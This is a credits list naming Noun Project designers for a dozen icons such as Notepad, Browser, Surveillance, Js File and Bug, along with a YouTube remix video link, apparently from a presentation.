- Notepad designed by Lemon Liu from the Noun Project
- Browser designed by Adriano Emerick from the Noun Project
- “Bill O’reilly Flips Out (Do it Live!!!!!!1) [DiscoTech RMX]”, http://www.youtube.com/user/morevidznnow/about
- No designed by Alex Dee from the Noun Project
- Sad designed by Brian Dys Sahagun from the Noun Project
- Surveillance designed by Luis Prado from the Noun Project
- Download designed by Jonathan Scarfoss from the Noun Project
- Analysis designed by Christopher Holm-Hansen from the Noun Project
- Js File designed by useiconic.com from the Noun Project
- Bug designed by Matt Crum from the Noun Project
- coding by Chameleon Design from the Noun Project
- Box by Esteban Gramajo from the Noun Project